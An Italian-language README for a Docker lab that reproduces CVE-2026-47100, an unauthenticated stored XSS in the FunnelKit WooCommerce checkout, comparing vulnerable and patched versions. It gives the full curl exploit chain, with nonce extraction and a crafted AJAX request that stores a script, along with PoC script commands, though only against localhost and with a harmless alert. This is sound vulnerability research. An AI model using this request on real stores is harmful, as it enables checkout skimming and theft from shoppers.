
Lab Docker locale per riprodurre CVE-2026-47100, una XSS memorizzata non autenticata in FunnelKit per WooCommerce. Include script PoC per confrontare le versioni vulnerabili e corrette.
Laboratorio Docker locale per riprodurre CVE-2026-47100 in modo sicuro e con il minimo danno. Questo laboratorio confronta una versione vulnerabile di FunnelKit con una versione corretta e verifica il comportamento utilizzando un marker/alert JavaScript innocuo.
CVE-2026-47100 è una vulnerabilità di autorizzazione mancante in Funnel Builder / FunnelKit for WooCommerce Checkout precedente alla versione 3.15.0.3.
Il flusso AJAX vulnerabile del checkout consente a un visitatore non autenticato di invocare un metodo interno del plugin e scrivere dati nell'impostazione globale dello script esterno integrato di FunnelKit. Poiché tale impostazione viene successivamente renderizzata sulle pagine di checkout di FunnelKit, il problema può diventare Stored XSS non autenticato sulle pagine di checkout.
Questo repository riproduce il problema localmente utilizzando due servizi Docker:
| Servizio | Versione | URL | Risultato atteso |
|---|
vuln | 3.15.0.2 | http://127.0.0.1:8081 | comportamento vulnerabile confermato |
patched | 3.15.0.3 | http://127.0.0.1:8082 | scrittura bloccata / marker non renderizzato |

Selezione iniziale del CVE dall'output di Vulnx. Il laboratorio e il PoC sono stati costruiti manualmente confrontando il comportamento vulnerabile e quello corretto.
Un attaccante non autenticato può abusare del flusso AJAX pubblico del checkout per persistere JavaScript nell'impostazione globale dello script esterno di FunnelKit.
In un negozio WooCommerce reale, ciò potrebbe consentire l'esecuzione di JavaScript dannoso nel browser degli utenti che visitano la pagina di checkout. Le segnalazioni pubbliche hanno collegato questa classe di vulnerabilità a campagne di skimming del checkout.
Questo laboratorio utilizza intenzionalmente solo un marker di prova innocuo:
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>
La versione vulnerabile accetta dati di checkout controllati dall'utente dall'endpoint AJAX pubblico di WooCommerce:
/?wc-ajax=update_order_review
All'interno del flusso di checkout di FunnelKit, la richiesta può includere:
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}
La logica vulnerabile verifica se il nome dell'azione fornito esiste come metodo della classe. Se il metodo esiste, può essere invocato dal flusso pubblico di checkout.
Comportamento vulnerabile semplificato:
if ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
L'azione importante controllata dall'attaccante è:
update_global_settings_fields
Tale metodo aggiorna l'opzione di WordPress:
_wfacp_global_settings
e in particolare la chiave integrata di FunnelKit:
wfacp_global_external_script
Il valore memorizzato viene successivamente letto dal template di checkout e renderizzato sulla pagina di checkout. Questo crea la condizione di Stored XSS.
Catena di sfruttamento:
Unauthenticated checkout visitor → public WooCommerce update_order_review AJAX → attacker-controlled wfacp_input_hidden_data[action] → update_global_settings_fields() → update_option('_wfacp_global_settings') → wfacp_global_external_script rendered on checkout page → Stored XSS
La versione 3.15.0.3 rafforza il percorso vulnerabile con due importanti modifiche.
La versione corretta limita quali azioni di checkout possono essere invocate dal flusso pubblico di checkout.
Comportamento corretto semplificato:
$allowed_actions = array(
'update_cart_item_quantity',
'update_cart_multiple_page',
'remove_cart_item',
'undo_cart_item',
'prep_fees',
);
if (
is_string( $action ) &&
in_array( $action, $allowed_actions, true ) &&
method_exists( __CLASS__, $action )
) {
self::$output_resp = self::$action( $input_data );
}
Ciò impedisce che metodi interni arbitrari come update_global_settings_fields vengano inviati da richieste di checkout non autenticate.
La versione corretta aggiunge anche un controllo di autorizzazione prima che le impostazioni globali possano essere aggiornate:
if ( ! current_user_can( 'manage_woocommerce' ) ) {
return $resp;
}
Ciò significa che l'impostazione dello script esterno globale dovrebbe essere scrivibile solo da utenti con privilegi di gestione di WooCommerce.
host
├── http://127.0.0.1:8081 → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082 → WordPress + WooCommerce + FunnelKit 3.15.0.3
Il processo di seed crea:
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10
Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11
Il laboratorio utilizza un URL di checkout deterministico:
/?post_type=wfacp_checkout&p=11
Questo carica esplicitamente il post personalizzato di checkout di FunnelKit nel laboratorio Docker locale.
Avvia il laboratorio:
docker compose up -d --build
Controlla i servizi:
docker compose ps
Servizi previsti:
vuln http://127.0.0.1:8081
patched http://127.0.0.1:8082
Installa le dipendenze Python:
python3 -m venv .venv
. .venv/bin/activate
pip install requests
poc/poc_lab.py è il PoC deterministico del laboratorio.
Assume i valori di seed Docker locali:
product_id = 10
checkout_post_id = 11
Esegui contro il servizio vulnerabile:
python3 poc/poc_lab.py http://127.0.0.1:8081
Risultato atteso:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True
=== Result ===
likely_vulnerable: True
[+] Vulnerable behavior confirmed.
Esegui contro il servizio corretto:
python3 poc/poc_lab.py http://127.0.0.1:8082
Risultato atteso:
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False
=== Result ===
likely_vulnerable: False
[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.
poc/poc_check.py è uno strumento di autotest autorizzato più portatile.
Solo controllo passivo:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"
Controllo attivo autorizzato:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized
Modalità solo marker senza alert (avviso):
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--marker-only
Tentativo di pulizia:
python3 poc/poc_check.py \
--checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
--product-id 10 \
--active \
--i-am-authorized \
--cleanup
Crea una nuova sessione WooCommerce e aggiungi il prodotto del laboratorio al carrello:
rm -f /tmp/cve47100-vuln.cookies
curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?add-to-cart=10" >/dev/null
Recupera la pagina di checkout di FunnelKit ed estrai il nonce di checkout di WooCommerce:
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
"http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
Invia la richiesta AJAX di checkout predisposta:
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
-c /tmp/cve47100-vuln.cookies \
-b /tmp/cve47100-vuln.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Verifica che l'opzione sia stata scritta:
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Risultato atteso:
{
"wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
"wfacp_checkout_global_css": ""
}
Verifica che il marker sia renderizzato:
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Apri nel browser per vedere l'alert innocuo:
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11
Ripeti lo stesso flusso sulla porta 8082:
rm -f /tmp/cve47100-patched.cookies
curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?add-to-cart=10" >/dev/null
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
"http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 \
| cut -d: -f2 \
| tr -d '"')
echo "NONCE=$NONCE"
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
-c /tmp/cve47100-patched.cookies \
-b /tmp/cve47100-patched.cookies \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode "state=" \
--data-urlencode "postcode=10110" \
--data-urlencode "city=Bangkok" \
--data-urlencode "address=Lab Street" \
--data-urlencode "address_2=" \
--data-urlencode "s_country=TH" \
--data-urlencode "s_state=" \
--data-urlencode "s_postcode=10110" \
--data-urlencode "s_city=Bangkok" \
--data-urlencode "s_address=Lab Street" \
--data-urlencode "s_address_2=" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'
Verifica che l'opzione rimanga invariata:
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json
Risultato atteso:
[]
Verifica che il marker non sia renderizzato:
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
| grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'
Risultato atteso: nessun output.
Il servizio vulnerabile conferma il problema quando tutte le seguenti condizioni sono vere:
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True
Il servizio corretto conferma la correzione quando:
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []
Questo repository è destinato esclusivamente a ricerche di sicurezza locali e autorizzate.
Ambito consentito:
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test
Non consentito:
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores
Il PoC utilizza solo un alert e un marker innocui.